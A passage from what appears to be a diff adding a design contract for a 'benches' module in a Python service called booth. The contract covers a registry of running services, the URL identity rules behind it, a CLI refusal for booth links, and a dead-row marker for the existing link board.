sibling-mark chip test had its fixture arranged so the right answer was also
|
||||
the first answer. Rewritten so the sibling comes first, which is the only
|
||||
arrangement that can tell the two implementations apart.
|
||||
@@ -0,0 +1,581 @@
|
||||
---
|
||||
contract_version: "1.0"
|
||||
module: "booth.benches"
|
||||
purpose: "A bench is a running thing, registered -- not a booth, and not a bookmark. The standing link board absorbed all three jobs because only one of them had a surface, and it now carries 221 rows of which 178 (80%) are booth announcements and 156 (71% of the whole board) point at booths that were swept. U5 gave the booth announcement a home; this unit gives the RUNNING SERVICE one, and closes the loop by refusing the one shape that now has somewhere better to go. Identity is the normalized URL, so re-announcing a bench UPDATES its row instead of appending a fifth -- `talk` is on the board five times and Peedlar's root three. Nothing on the board is deleted by this unit: the dead rows are MARKED so the operator can see and remove them with the bulk control that already exists."
|
||||
depends_on:
|
||||
- "booth.links (`booth_target` is DEFINED here and consumed there -- see INV-2. The board's existing parse/remove/pin machinery is untouched: rows keep their content-hash identity, `links.md` stays an O_APPEND multi-writer log, and no row is rewritten by anything this unit adds.)"
|
||||
- "booth.app (the dead-row marker needs a booth-exists predicate. IT CANNOT USE `resolve_booth`: that is a CLOSURE inside `create_app`, not importable, and it RAISES HTTPException(404) -- calling it per row would turn one swept booth into a 404 for the whole board page, which is the opposite of the marker's purpose. The marker gets its own non-raising predicate carrying the SAME name-safety rules (no leading dot, no separator, no `..`) and returning False where `resolve_booth` raises. A row is dead when its target directory is absent, not when its target is nearly expired -- no new lifetime arithmetic. Verified against the real function, not assumed: seam review SR-2.)"
|
||||
language: "python"
|
||||
complexity: "medium"
|
||||
estimated_loc: 320
|
||||
confidence: 0.80
|
||||
used_by:
|
||||
- "scripts/booth (`bench add|ls|state|rm|import` are new; `link` gains ONE refusal and is otherwise unchanged)"
|
||||
- "booth.app.booth_view (the board's rows gain a `dead` stamp; the benches panel renders on the standing board's page)"
|
||||
- "booth.app.list_booths (unchanged -- named here because it was checked and does NOT need to change: benches live outside the booth namespace and are invisible to it)"
|
||||
touches:
|
||||
- "booth/benches.py (new -- the record, normalization, the lenient read, the atomic upsert, the stated order)"
|
||||
- "booth/links.py (ONE new function, `booth_target`. No existing function changes.)"
|
||||
- "booth/app.py (`_board_rows` stamps `dead`; the booth view passes `benches`; three POST routes for add/state/remove)"
|
||||
- "booth/templates/booth.html (the benches panel; the dead-row marker on a board row)"
|
||||
- "booth/templates/base.html (the .bench-* and .board-dead CSS)"
|
||||
- "scripts/booth (the five bench verbs, the link refusal, the usage block, the header doc block)"
|
||||
- "tests/test_benches.py (new)"
|
||||
- "tests/test_cli.py (the bench verbs and the refusal, run against the real script under system python3)"
|
||||
- "tests/test_marks.py (test_stdlib_only's parametrize list gains `benches`)"
|
||||
- "docs/design/information-architecture.md (two corrections the measurement forces -- see 'What the measurement changed')"
|
||||
- "ROADMAP.md (the bench listing order rule, which was one of the two undecided rows in the deterministic-order table)"
|
||||
assumptions:
|
||||
- "IDENTITY IS THE FULL NORMALIZED URL, NOT THE ORIGIN, AND THIS WAS MEASURED RATHER THAN CHOSEN. Collapsing the board's 43 non-booth rows by origin yields 19 groups; by full URL, 35. The 16-group difference is not duplication -- it is EIGHT distinct gitea repositories merged into one row, THREE unrelated HuggingFace model cards merged into one, and the two LRPG surfaces on `10.100.10.50:8321` (`Authoring Studio.dc.html` and `GM Playback.dc.html`) merged into one, which are the IA doc's own example of two real benches. Origin identity would have destroyed more than it deduplicated. Full-URL identity still collapses both cases the IA doc named: `talk` 5 rows to 1, Peedlar's root 3 to 1."
|
||||
- "THE QUERY STRING IS PART OF THE IDENTITY, the fragment is not. Measured: three ShutterChute rows differ ONLY by `?token=`, and they are three genuinely different one-shot links, not one bench posted three times -- dropping the query would merge them into a bench that is none of them. A fragment is a position inside a page, never a different resource, so it is dropped. Userinfo (`user:pass@`) is REFUSED rather than stripped: a credential must not reach a board that renders on an unauthenticated LAN surface, and silently stripping it would register a bench whose URL no longer works while telling the poster it succeeded."
|
||||
- "`booth_target` IS HOST-AGNOSTIC AND PATH-SHAPED. A row is a booth link when its path is `/b/<name>` or `/b/<name>/...`, whatever the host. NOT a host allowlist: the fleet reaches this service as `10.100.10.50:8090`, `localhost:8090` and `nh3-dev.nh3.internal:8090`, and an allowlist would silently fail to refuse from whichever name somebody used next -- a rule that fails OPEN on the exact case it exists to catch. The accepted cost is that a third-party URL with a `/b/<x>` path would be misread; the failure is visible (a refusal naming the reason, or a row marked dead) rather than silent, and no such URL exists on the board today."
|
||||
- "NOTHING THIS UNIT SHIPS DELETES A ROW. ROADMAP names 'a migration that deletes anything' as explicitly not in v1. `links.md` is archived verbatim before the registry is seeded, the import writes nothing without `--apply`, and the 156 dead rows are MARKED, not pruned -- removal stays the operator's two deliberate clicks through the `unlink-many` control that has existed since before this unit. The marker is what makes the existing control usable at 221 rows; it is not a second delete path."
|
||||
- "THE SERVICE NEVER PROBES THE NETWORK. `read_benches` is a filesystem read on the render path, exactly like `read_manifest` and `marks_for`. A bench's liveness is not checked by this unit at all -- see Out of scope, where the decision and its reversal cost are stated."
|
||||
- "`booth/benches.py` IS STDLIB-ONLY and joins the CLAUDE.md invariant 1 list, for the same reason `manifest.py` did: `scripts/booth` imports it through a `python3 -c` heredoc under the system python3 with no venv. It must also be SIBLING-FREE -- it does not import `links`, `marks`, `asks` or `manifest`, because a cross-import between two stdlib-only modules is a second way for that invariant to break. `booth_target` therefore lives in `links.py` (the board's module, where the board's callers already are) and `benches.py` does not call it; the CLI and `app.py` each import both."
|
||||
- "THE REGISTRY IS ONE FILE AT THE DATA ROOT, `~/booth-data/.benches.json` -- a dotfile OUTSIDE the booth namespace. It is therefore not a booth, cannot be swept, cannot be mistaken for one by `list_booths` (which iterates directories), and needs no exclusion rule anywhere. Single-writer with many readers, like marks and unlike `links.md`: the operator in one browser plus CLI calls, so it is a per-file atomic replace under an flock on the read-modify-write, NOT an append log. Inheriting the append-log shape here would be the multi-writer/single-writer mistake CLAUDE.md names."
|
||||
- "THE ON-DISK SHAPE IS AN OBJECT KEYED BY ID, not a list. Two rows with the same identity are then impossible BY CONSTRUCTION rather than by an upsert remembering to check -- which is the whole point of giving a bench an identity. The rendered order is separate and stated (INV-4); the file's key order is not load-bearing and is never read as an order."
|
||||
open_questions:
|
||||
- "ONE BENCH, TWO URLS. `talk` is reachable as both `https://talk.nh3.phasefinal.com:8092/` (trusted cert) and `https://10.100.10.50:8092/` (internal IP, cert warning), and both are on the board with descriptions that say so. Full-URL identity correctly keeps them as two rows, because they ARE two URLs -- but they are one bench. An alias field would merge them; so would letting a bench carry a list of URLs. Neither is designed here: aliasing is a judgment about what counts as the same thing, the registry is ~14 rows, and two rows for one bench is legible. Deferred, not solved."
|
||||
- "WHETHER `booth link` SHOULD ALSO NUDGE TOWARD `bench add` for a URL that looks like a service root. It is not refused -- measured, roughly 14 of the 35 distinct non-booth targets are reference bookmarks (repos, model cards, docs) for which the board is the right and only home, so a second refusal would break a job the board legitimately still does. A non-blocking hint is defensible and is not in this unit."
|
||||
---
|
||||
|
||||
# U6 — benches
|
||||
|
||||
## The defect, stated precisely
|
||||
|
||||
Re-measured 2026-09-22 against the live board, because the numbers in the IA
|
||||
doc are a day old and the board grew:
|
||||
|
||||
| | IA doc, 2026-09-21 | today |
|
||||
|---|---|---|
|
||||
| rows on the standing board | 211 | **221** |
|
||||
| rows that are booth URLs | not split out | **178 — 80% of the board** |
|
||||
| …whose booth no longer exists | 145 (69%) | **156 — 71% of the whole board** |
|
||||
| rows that are not booth URLs | ~40 | **43** |
|
||||
| …distinct after normalization | — | **35** |
|
||||
|
||||
The headline number in the IA doc — *69% rot* — is **two different defects
|
||||
wearing one number**, and separating them is what makes this unit the right
|
||||
size:
|
||||
|
||||
1. **Booth-announcement rot (178 rows).** A session posted a booth URL because
|
||||
a booth could not announce itself. **U5 closed the cause**: a booth now
|
||||
carries `.booth.json` and the index is the feed. Nothing yet stops the
|
||||
habit, so the board took 11 more of these rows in the day since it was
|
||||
measured. This unit's *enforced rule* is the stopper, and the *dead marker*
|
||||
is what lets the operator clear what already landed.
|
||||
|
||||
2. **Bench re-post (8 rows).** `booth link` is an append with no identity, so
|
||||
re-announcing a bench creates a row rather than updating one: `talk` five
|
||||
times, Peedlar's root three. This unit's *registry* is the fix, and it is
|
||||
the smaller half — which is worth saying plainly, because the IA doc's
|
||||
single 69% figure implies otherwise.
|
||||
|
||||
A third thing the measurement found, which the IA doc does not describe: **the
|
||||
board has a legitimate residual job.** Of the 35 distinct non-booth targets,
|
||||
roughly 14 are running services (benches) and roughly 14 are reference
|
||||
bookmarks — gitea repositories, HuggingFace model cards, a vLLM recipe, a
|
||||
Headscale setup page. The IA doc plans for `booth link` to survive "as a
|
||||
deprecated alias". That would deprecate the only home a third of its live
|
||||
content has. **`booth link` is not deprecated by this unit.** It loses exactly
|
||||
one shape — the booth URL — and keeps the rest.
|
||||
|
||||
## What the measurement changed
|
||||
|
||||
Two lines of `docs/design/information-architecture.md` are wrong and are
|
||||
corrected in the same commit, rather than left for a reader to trip over:
|
||||
|
||||
- **`id : normalized URL`** stays, but the doc does not say what normalized
|
||||
means, and the obvious reading — the origin — is measurably destructive here
|
||||
(8 gitea repos into one row). The doc gains the rule and the number behind it.
|
||||
- **"`booth link` … survives as a deprecated alias rather than vanishing"** is
|
||||
struck. It survives as itself, minus one refused shape, for the reason above.
|
||||
|
||||
## The record
|
||||
|
||||
```python
|
||||
@dataclass(frozen=True)
|
||||
class Bench:
|
||||
id: str # the normalized URL — the identity, and the dict key on disk
|
||||
url: str # the URL AS POSTED — what a click goes to
|
||||
name: str # what it is
|
||||
owner: str # the althing handle that registered it, or "booth"
|
||||
state: str # "live" | "promoted" | "retired"
|
||||
added: str # ISO-8601 with offset, from the FIRST registration
|
||||
updated: str # ISO-8601 with offset, from the most recent upsert
|
||||
error: str | None = None # a read-time verdict; never stored
|
||||
```
|
||||
|
||||
`id` and `url` are two fields on purpose. The identity must be normalized so
|
||||
that re-posting updates; the href must be verbatim so that a URL whose server
|
||||
cares about a trailing slash, a case-sensitive path or a query still works when
|
||||
clicked. Collapsing them would make the registry quietly change where a link
|
||||
goes, which is the kind of bug that surfaces as "the operator clicked a bench
|
||||
and got a 404" and is never traced back here.
|
||||
|
||||
`added` survives re-registration; `updated` does not. That is the same shape as
|
||||
U5's `created`, and for the same reason: an upsert is the same bench saying
|
||||
something new about itself, not a new bench.
|
||||
|
||||
**`updated` means the last MUTATION of the record, not the last upsert** —
|
||||
`set_bench_state` bumps it too. Amended after the cold panel read "most recent
|
||||
upsert" literally and found the code bumping on a state change: the code is
|
||||
right (a promotion is a change to the record and "last touched" should say so)
|
||||
and the earlier wording was narrower than what anyone wants the field to mean.
|
||||
|
||||
**Caps, and what "applied" means for each — stated per field, because it is
|
||||
not the same verb for all of them.** The cold paraphrase panel found "applied at
|
||||
the write and again at the read" readable three ways (refuse / clip-for-display
|
||||
/ truncate-and-store) with a different build behind each, and 4-of-4 arms
|
||||
flagged it.
|
||||
|
||||
| field | cap | at the write | at the read |
|
||||
|---|---|---|---|
|
||||
| `name` | 120 | **truncated** | **truncated** |
|
||||
| `owner` | 64 | **truncated** | **truncated** |
|
||||
| `url` | 2048 | **refused** (`normalize_bench_url` raises) | **damage** — reported, never clipped |
|
||||
| `state` | one of three | **refused** | **damage** |
|
||||
| `id` | 2048 | **refused**, via the url it is derived from | **not applied** — see below |
|
||||
|
||||
`name` and `owner` are display budgets: clipping one costs a few characters in
|
||||
a panel row. **`url` is not a budget and must never be clipped**, at either end
|
||||
— INV-7 promises the click goes to the posted address byte for byte, and a
|
||||
shortened URL keeps that promise in the type system while breaking it in the
|
||||
browser. Nothing this code writes can store an over-long one; a hand-edited
|
||||
registry can, and that is damage.
|
||||
|
||||
**`id` is capped at the WRITE ONLY, and that asymmetry is deliberate.**
|
||||
`normalize_bench_url` refuses an input over `URL_MAX`, so nothing this code
|
||||
writes can exceed it. On the read the id is the dict KEY and it is the locator
|
||||
every control posts back — `bench state`, `bench rm`, and the panel's remove
|
||||
button all address by it. Truncating a hand-edited over-long key on read would
|
||||
produce a row the operator can see and cannot act on, which is strictly worse
|
||||
than a long one. Amended after the cold panel found the code and the contract
|
||||
disagreeing here; the code was right.
|
||||
|
||||
## Signatures
|
||||
|
||||
```python
|
||||
BENCHES_FILE = ".benches.json" # at the DATA ROOT — not inside a booth
|
||||
BENCH_LOCK = ".benches.lock"
|
||||
BENCH_STATES = ("live", "promoted", "retired")
|
||||
NAME_MAX, OWNER_MAX, URL_MAX = 120, 64, 2048
|
||||
BENCHES_MAX_BYTES = 256 * 1024
|
||||
|
||||
|
||||
def normalize_bench_url(url: str) -> str:
|
||||
"""The identity of a bench. Raises ValueError with a reason a human can act
|
||||
on -- the CLI prints it verbatim.
|
||||
|
||||
THE RULE, in full, because it is the identity and a vague identity is worse
|
||||
than a wrong one:
|
||||
* surrounding whitespace stripped
|
||||
* scheme lowercased; anything but http/https is refused
|
||||
* userinfo (`user:pass@host`) is REFUSED, never stripped
|
||||
* host lowercased; an empty host is refused
|
||||
* port dropped when it is the scheme default (80 for http, 443 for https)
|
||||
* path kept verbatim, except that a bare "/" becomes ""
|
||||
* query kept verbatim, INCLUDING its parameter order (a query is opaque)
|
||||
* fragment dropped
|
||||
"""
|
||||
|
||||
|
||||
def read_benches(root: Path) -> tuple[list[Bench], str | None]:
|
||||
"""Every registered bench, in the order of `order_benches`, plus a read-time
|
||||
error or None. NEVER RAISES -- this is on the render path (v0.2.2 lesson)."""
|
||||
|
||||
|
||||
def upsert_bench(root: Path, url: str, name: str, owner: str) -> tuple[Bench, bool]:
|
||||
"""Register or update by normalized URL. Returns (bench, created).
|
||||
`added` is preserved on update; `url`, `name`, `owner`, `updated` are
|
||||
replaced. `state` is preserved on update and is "live" on create."""
|
||||
|
||||
|
||||
def set_bench_state(root: Path, bench_id: str, state: str) -> Bench | None:
|
||||
"""Move a bench between live / promoted / retired. None if no such bench."""
|
||||
|
||||
|
||||
def remove_bench(root: Path, bench_id: str) -> Bench | None:
|
||||
"""Drop one bench. Returns the removed record, or None."""
|
||||
|
||||
|
||||
def order_benches(benches: Iterable[Bench]) -> list[Bench]:
|
||||
"""ORDER: (state rank, name casefolded, id) -- live before promoted before
|
||||
retired, then alphabetical, with the id as a total tie-break so two benches
|
||||
sharing a name cannot swap between renders. CLAUDE.md invariant 6."""
|
||||
```
|
||||
|
||||
And in `booth/links.py`, the one addition:
|
||||
|
||||
```python
|
||||
def booth_target(url: str) -> str | None:
|
||||
"""The booth NAME a URL points at, or None when it is not a booth URL.
|
||||
|
||||
ONE PREDICATE, THREE CALLERS -- the CLI's refusal, the board's dead marker,
|
||||
and the import's classifier. They must agree: a rule that refuses a shape
|
||||
the board then fails to mark as dead (or the reverse) is two readers of one
|
||||
truth, which is the bug this repo has now paid for three times.
|
||||
|
||||
THE NAME SEGMENT IS PERCENT-DECODED. `app.py` emits booth links through
|
||||
`quote(name, safe="")`, so a booth whose name needs encoding appears on the
|
||||
board encoded. Comparing the raw segment against a directory name would mark
|
||||
every such booth dead and would print the encoded form back at the poster in
|
||||
the refusal message. Seam review SR-7.
|
||||
|
||||
Returns the DECODED name. A path of `/b/` with no name, or a decoded name
|
||||
that is empty, starts with a dot, or contains a separator or `..`, is not a
|
||||
booth link (None) — the same rules `resolve_booth` enforces, so the two
|
||||
cannot disagree about what is addressable.
|
||||
"""
|
||||
```
|
||||
|
||||
## The enforced rule
|
||||
|
||||
`booth link <url>` refuses when `booth_target(url)` is not None:
|
||||
|
||||
```
|
||||
$ booth link http://10.100.10.50:8090/b/sindra-bakeoff/ "the bakeoff"
|
||||
booth link: that is a booth, and a booth announces itself now.
|
||||
booth new sindra-bakeoff --why "the bakeoff" (or --why on `booth add`)
|
||||
the index at http://10.100.10.50:8090/ is the feed.
|
||||
exit 2
|
||||
```
|
||||
|
||||
Three properties this refusal must have, each of which is an invariant below:
|
||||
|
||||
- **It names the alternative.** The teaching moment belongs at the point of use;
|
||||
17 handles have the muscle memory and a bare "refused" would send them to a
|
||||
human.
|
||||
- **It writes nothing — nothing at all.** Not the row, not the board
|
||||
directory, not the `.booth.json` announcement `booth link` creates on first
|
||||
use, not a lock file. The test asserts the data root's entries are unchanged,
|
||||
not merely that `links.md` lacks the row.
|
||||
|
||||
*(Amended: this listed two items while INV-3 listed four, so a reader of the
|
||||
prose alone could conclude a lock file was permissible. One list now, and it
|
||||
is the strict one.)*
|
||||
- **It is the ONLY new refusal.** A reference bookmark is still a link.
|
||||
|
||||
## What renders
|
||||
|
||||
On the standing board's page, above the rows:
|
||||
|
||||
- **The benches panel** — each bench as name, URL, owner, state, and the date
|
||||
it was added; ordered by `order_benches`. Controls to change state and to
|
||||
remove, both POST, both reversible in one click except remove.
|
||||
- **A board row whose booth is gone is marked dead** — visibly, with its
|
||||
checkbox pre-reachable by the existing select-all, so the operator can tick
|
||||
and use the `unlink-many` control already on the page. **No new delete path.**
|
||||
|
||||
**Dead means exactly this, and both halves are load-bearing:**
|
||||
`booth_target(row.url)` is not None **AND** the name it returns is not a live
|
||||
directory in the data root. A row that is not a booth link is never dead, no
|
||||
matter what it points at — the Booth cannot know whether a gitea repo still
|
||||
exists and must not guess. A booth link whose booth is alive is not dead. No
|
||||
lifetime arithmetic is involved: a booth one minute from expiry is alive.
|
||||
*(Stated after 3-of-4 cold arms read the rule two ways — predicate-driven vs
|
||||
existence-driven — with 221 rows riding on which.)*
|
||||
|
||||
A registry that cannot be read renders as a panel carrying its error, never as
|
||||
an absent panel and never as a 500 — the v0.2.2 lesson, which this repo learned
|
||||
by returning 500 for `/` and `/healthz` across all 25 booths.
|
||||
|
||||
**The panel is gated on PAGE IDENTITY — the booth carries a `links.md` — and
|
||||
never on content.** A content gate (`board or benches`) hides the panel AND its
|
||||
registration form exactly when the board is empty and the registry absent,
|
||||
which is the state a fresh deployment starts in and the one where "no benches
|
||||
registered yet" is most worth saying. That is the same defect as a damaged
|
||||
panel rendering as an absent one, one level up. Amended after the cold panel
|
||||
found the content gate shipped.
|
||||
|
||||
## The CLI surface
|
||||
|
||||
```
|
||||
booth bench add <url> <name> register or update; prints registered/updated
|
||||
booth bench ls list, in the rendered order, with ids
|
||||
booth bench state <id|url> <s> live | promoted | retired
|
||||
booth bench rm <id|url> remove one
|
||||
booth bench import classify the board's rows; WRITES NOTHING
|
||||
booth bench import --apply <id>... register ONLY the ids you name
|
||||
|
||||
`<id|url>` takes EITHER form because the input is normalized before the lookup,
|
||||
and normalization is idempotent — an id normalizes to itself. So the id `ls`
|
||||
prints and the raw URL in the operator's scrollback both address the same row.
|
||||
Pinned by a test, because it is the property that makes the two-form promise
|
||||
true rather than merely intended.
|
||||
```
|
||||
|
||||
`import` prints three groups — **booth rows** (skipped; `booth_target` matched),
|
||||
**candidates** (the normalized id beside the raw URL, so a collapse is visible
|
||||
before it happens), and **refused** (normalization raised, with the reason).
|
||||
|
||||
**`--apply` REQUIRES THE IDS. A bare `--apply` is refused.** This is the
|
||||
unit's sharpest correction and it came from all four arms of the cold paraphrase
|
||||
panel independently: the first draft registered every candidate, which made the
|
||||
write path do the exact thing this document's own rationale calls impossible —
|
||||
**tell a bench from a bookmark by its URL** — silently, to roughly 14 of 35 rows
|
||||
that belong on the board. The dry run prints ids; the operator names the ones
|
||||
that are benches; an id that is not a candidate is refused and nothing is
|
||||
written. There was no selection mechanism between the report and the write, and
|
||||
the report existed precisely because the decision is not mechanizable.
|
||||
|
||||
## The migration
|
||||
|
||||
1. `links.md` is archived verbatim to `~/booth-data/links/links-archive-2026-09-22.md`
|
||||
**and committed to this repo**, before anything else. Nothing the operator
|
||||
wrote is destroyed, and the archive is version-controlled rather than living
|
||||
only on one box.
|
||||
2. `booth bench import` proposes; the operator applies **by naming ids**.
|
||||
3. The 156 dead booth rows are marked, and removed by him or not at all.
|
||||
|
||||
## Scope — the blast-radius pass
|
||||
|
||||
`graphify explain` over `remove_link_entry`, `parse_link_entries`,
|
||||
`order_for_display`, `read_pins` and `toggle_pin`, cross-checked with grep
|
||||
because graphify cannot see the CLI's `python3 -c` import (it reports the
|
||||
`app.py` importers and the test callers; `scripts/booth:353` is invisible to it
|
||||
— the exact blindness CLAUDE.md names).
|
||||
|
||||
No existing function in `links.py` changes signature or behaviour. The board's
|
||||
rows keep their content-hash identity, so every pin, every `unlink` id in the
|
||||
operator's history, and every concurrent `booth link` append keep working
|
||||
untouched.
|
||||
|
||||
## Out of scope
|
||||
|
||||
- **Liveness probing.** The IA doc's BENCH shape carries `last_checked` /
|
||||
`last_ok`; ROADMAP's v1 row does not — it names *registry, identity, enforced
|
||||
rule, migration*, and the parking lot already parks the uptime history. This
|
||||
unit ships none of it, deliberately: it is the only part that does network
|
||||
I/O, which is the part that reliably takes 2–5 follow-up patches for cases the
|
||||
first shape did not anticipate — the accretion signature this whole rewrite is
|
||||
undoing. The record is designed so adding it later is purely additive (the
|
||||
read is lenient to unknown keys, so an older Booth reading a newer file does
|
||||
not break). **This is a scope reduction against the IA doc and the operator
|
||||
can reverse it; the cost of reversing it is one field pair and one CLI verb.**
|
||||
- **Pruning the board.** Not in v1, by ROADMAP.
|
||||
- **Bench aliases.** See open questions.
|
||||
- **A bench page.** A bench is a link to somewhere else; giving it a page here
|
||||
would make the Booth a directory service.
|
||||
- **Any change to how booths announce themselves.** That was U5 and it landed.
|
||||
|
||||
## Invariants
|
||||
|
||||
**INV-1 — one module knows the registry's filename and shape.**
|
||||
`booth/benches.py` is the only place `.benches.json` is named, parsed or
|
||||
written. No route body and no CLI branch constructs the path or reads the JSON.
|
||||
*Falsifiable:* a test that fails if the literal `.benches.json` appears anywhere
|
||||
outside `benches.py` — and specifically fails under the change that defeats it,
|
||||
which is a route reading the file directly to save an import. Asserting only
|
||||
that the panel renders would pass under exactly that change.
|
||||
|
||||
**INV-2 — one predicate decides what a booth URL is.** `links.booth_target` is
|
||||
the only implementation, and the CLI's refusal, the dead marker and the import's
|
||||
classifier all call it.
|
||||
*Falsifiable:* the defeating change is a second implementation — a `/b/` check
|
||||
inlined in the shell for speed, or a regex in `app.py`. One table of URLs
|
||||
(trailing slash, no slash, nested path, query, uppercase host, a non-Booth host
|
||||
with a `/b/` path, a `/b/` with no name, a percent-encoded name, a decoded `..`
|
||||
and a decoded separator) runs through the predicate, the CLI's refusal AND the
|
||||
render's dead marker.
|
||||
|
||||
**AGREEMENT IS THE WEAKER HALF AND IS NOT THE TEST.** Three callers of one
|
||||
wrong predicate agree perfectly, so agreement alone pins nothing — the table's
|
||||
**expected values** are the independent check, and the agreement rows exist to
|
||||
catch a second implementation drifting from the first. Both are asserted; only
|
||||
one of them would survive `booth_target` itself being wrong. *(Named after a
|
||||
cold arm pointed out that the falsifier reads as though agreement were
|
||||
sufficient.)* **A bare `/b/` with no name is NOT a booth link**, and the table
|
||||
pins that.
|
||||
|
||||
**INV-3 — a refused link writes nothing.** No row, no board directory, no
|
||||
`.booth.json`, no lock file.
|
||||
*Falsifiable:* the defeating change is moving the refusal after the `mkdir -p` /
|
||||
`announce` block in the `link` branch — which is where it would naturally land
|
||||
if written without thinking. The test refuses a link into a data root with NO
|
||||
`links` booth and asserts the directory still does not exist, not merely that
|
||||
`links.md` lacks the row. Asserting the row's absence alone would pass under the
|
||||
defeating change.
|
||||
|
||||
**INV-4 — the rendered bench order is total and stated.** `(state rank, name
|
||||
casefolded, id)`.
|
||||
*Falsifiable:* the defeating change is dropping the `id` tie-break, which leaves
|
||||
two benches sharing a name in whatever order the dict yielded. The test
|
||||
registers two benches with the SAME name in both insertion orders and asserts
|
||||
the same output sequence from both. A test over distinct names would pass with
|
||||
no tie-break at all.
|
||||
|
||||
**INV-5 — the read cannot raise, and cannot cost the caller unboundedly.**
|
||||
`read_benches` returns `([], "...")` for damaged, absent, oversized, or
|
||||
unreadable; it never propagates. Over `BENCHES_MAX_BYTES` is refused by size
|
||||
before it is parsed.
|
||||
*Falsifiable:* the defeating change is `json.load` without the guard. The test
|
||||
GETs the standing board's page with the registry (a) absent, (b) holding
|
||||
non-JSON bytes, (c) holding valid JSON of the wrong shape, (d) holding a
|
||||
well-formed record with a wrong-typed field, (e) over the size cap, and (f)
|
||||
chmod'd unreadable, asserting 200 for all six AND that (b)–(f) render a visible
|
||||
error rather than an empty panel. Case (d) is the one that matters: it is the
|
||||
shape that is currently 500ing the gallery elsewhere in this service.
|
||||
|
||||
**INV-6 — the identity collapses a re-post and nothing else.** Upserting the
|
||||
same normalized URL updates one row; upserting two URLs that differ in **scheme,
|
||||
host, non-default port, path, or query** creates two. **That list is
|
||||
EXHAUSTIVE** — the only things normalization discards are a fragment, a
|
||||
scheme-default port, letter case in the scheme and host, a bare `/` path, and
|
||||
surrounding whitespace.
|
||||
|
||||
*(Amended: this said "path, query or host" with no "only", which reads as
|
||||
illustrative and left an implementer free to "fix" the rule from the
|
||||
invariant's wording — and it omitted scheme and port, two of the five. 3-of-4
|
||||
cold arms flagged it; the falsifier now carries vectors for both.)*
|
||||
*Falsifiable:* the defeating change is normalizing to the origin. The test
|
||||
registers the eight gitea URLs measured on the live board and asserts **eight**
|
||||
benches, then registers `talk`'s five rows and asserts **one** — the same
|
||||
fixture proves both directions. A test that only checked the talk collapse would
|
||||
pass under origin normalization, which is precisely the wrong rule.
|
||||
|
||||
**INV-7 — `url` is what a click goes to; `id` is never rendered as an href.**
|
||||
*Falsifiable:* the defeating change is rendering `bench.id` in the anchor
|
||||
because it is "the clean one". The test registers a URL whose normalization
|
||||
differs from its raw form — **an uppercase host, an explicit default port, and
|
||||
a fragment** — and asserts the anchor's `href` is the raw string, byte for byte.
|
||||
|
||||
*(Amended: this parenthetical used to name "a trailing slash on a non-empty
|
||||
path" as one of the differences. **It is not one** — the rule list keeps a
|
||||
non-empty path verbatim, slash included, and INV-6 makes `…/p` and `…/p/` two
|
||||
benches. Two passages of this document disagreed about the same character, and
|
||||
3-of-4 cold arms found the contradiction. The rule list is correct; this
|
||||
sentence was wrong.)*
|
||||
|
||||
**INV-8 — nothing this unit ships removes a board row.** The dead marker is a
|
||||
render-time stamp; `import` without `--apply` writes nothing anywhere; `import`
|
||||
with `--apply` writes only the registry and its lock sidecar (`.benches.json`,
|
||||
`.benches.lock`) and never touches `links.md`.
|
||||
|
||||
*(Amended: this said "writes only `.benches.json`", which contradicted the
|
||||
unit's own assumption that every read-modify-write is held under an flock on a
|
||||
sidecar. The cold panel caught the contract arguing with itself. The
|
||||
load-bearing half — `links.md` is not touched — is unchanged and is what the
|
||||
test hashes.)*
|
||||
*Falsifiable:* the defeating change is `import --apply` "tidying up" the rows it
|
||||
consumed. The test snapshots `links.md` byte for byte, runs the full unit's CLI
|
||||
surface against it — refusal, import, import --apply, bench add, bench rm — and
|
||||
asserts the file is unchanged, including its mtime-independent content hash.
|
||||
|
||||
**INV-9 — stdlib-only, and sibling-free.** `booth/benches.py` imports nothing
|
||||
outside the standard library and nothing from `booth.*`.
|
||||
*Falsifiable:* the defeating change is `from booth.links import booth_target` —
|
||||
which is the natural thing to write, since `booth_target` is the predicate this
|
||||
unit's CLI branch also needs.
|
||||
|
||||
**The existing parametrized `test_stdlib_only` in tests/test_marks.py DOES
|
||||
NOT CATCH THAT, and an earlier draft of this contract claimed it did.** Its
|
||||
failure set is `{r for r in roots if r != "booth" and r not in
|
||||
sys.stdlib_module_names}` — it exempts `booth` explicitly, so a sibling import
|
||||
passes it clean. The sibling-free clause exists only in the stricter copy in
|
||||
tests/test_manifest.py. Adding `benches` to the parametrized list therefore
|
||||
buys stdlib-only and NOT sibling-free. So: `benches` joins that list AND
|
||||
`tests/test_benches.py` carries its own stricter copy, mirroring `manifest`'s,
|
||||
which fails on a `booth` root. Verified by reading the real test — seam review
|
||||
SR-1.
|
||||
|
||||
## Seam review — what the real sibling surfaces said
|
||||
|
||||
Run in-session against the actual `.py` files rather than their contracts,
|
||||
after the cold panel was dispatched and before any code. Seven checks, five
|
||||
findings, three of them real defects in this document. `/heid-contract-review`
|
||||
is artifact-only by design and structurally cannot run this pass: its arms read
|
||||
this file and are forbidden the siblings it borrows from.
|
||||
|
||||
| # | seam | what the real surface said | disposition |
|
||||
|---|---|---|---|
|
||||
| **SR-1** | `test_stdlib_only` (tests/test_marks.py) | **The contract was wrong.** It claimed the parametrized test "already carries" the sibling-free clause. It does not — its failure set is `{r for r in roots if r != "booth" and ...}`, which exempts `booth` on purpose. Only tests/test_manifest.py:209 has the strict copy. | **Fixed.** INV-9 now requires both: the parametrize entry AND a stricter copy in `tests/test_benches.py`. Without this the unit would have shipped with its own INV-9 untested. |
|
||||
| **SR-2** | `resolve_booth` (booth/app.py) | **The contract invited an outage.** It named `resolve_booth` as the existence check for the dead marker. That function is a closure inside `create_app` (not importable) and **raises HTTPException(404)** — called per row, one swept booth would 404 the entire board page. It also calls `.resolve()`, a syscall per row, 178 of them on this board. | **Fixed.** `depends_on` now forbids it explicitly and specifies an own non-raising predicate with the same name-safety rules. Cost stated below. |
|
||||
| **SR-7** | `quote(name, safe="")` (app.py, booth link emission) | **The contract was silent on encoding.** Booth links are emitted percent-encoded. A `booth_target` comparing the raw path segment to a directory name marks every encoded-name booth permanently dead and echoes the encoded form back in the refusal. | **Fixed.** `booth_target` decodes, and applies `resolve_booth`'s own addressability rules so the two cannot disagree. |
|
||||
| **SR-6** | `scripts/booth` dispatch (flat `case "$cmd"`, 13 single-word verbs) | Not a defect — a gap. **`bench add` would be the first two-word verb in this script.** Nothing about the existing dispatch anticipates one, and `booth bench` with no sub-verb must not fall through into the generic usage in a way that hides which word was wrong. | **Recorded.** A nested `case` under `bench)`, and a bare `bench` prints the bench verbs specifically. Named so the implementer does not invent a third pattern. |
|
||||
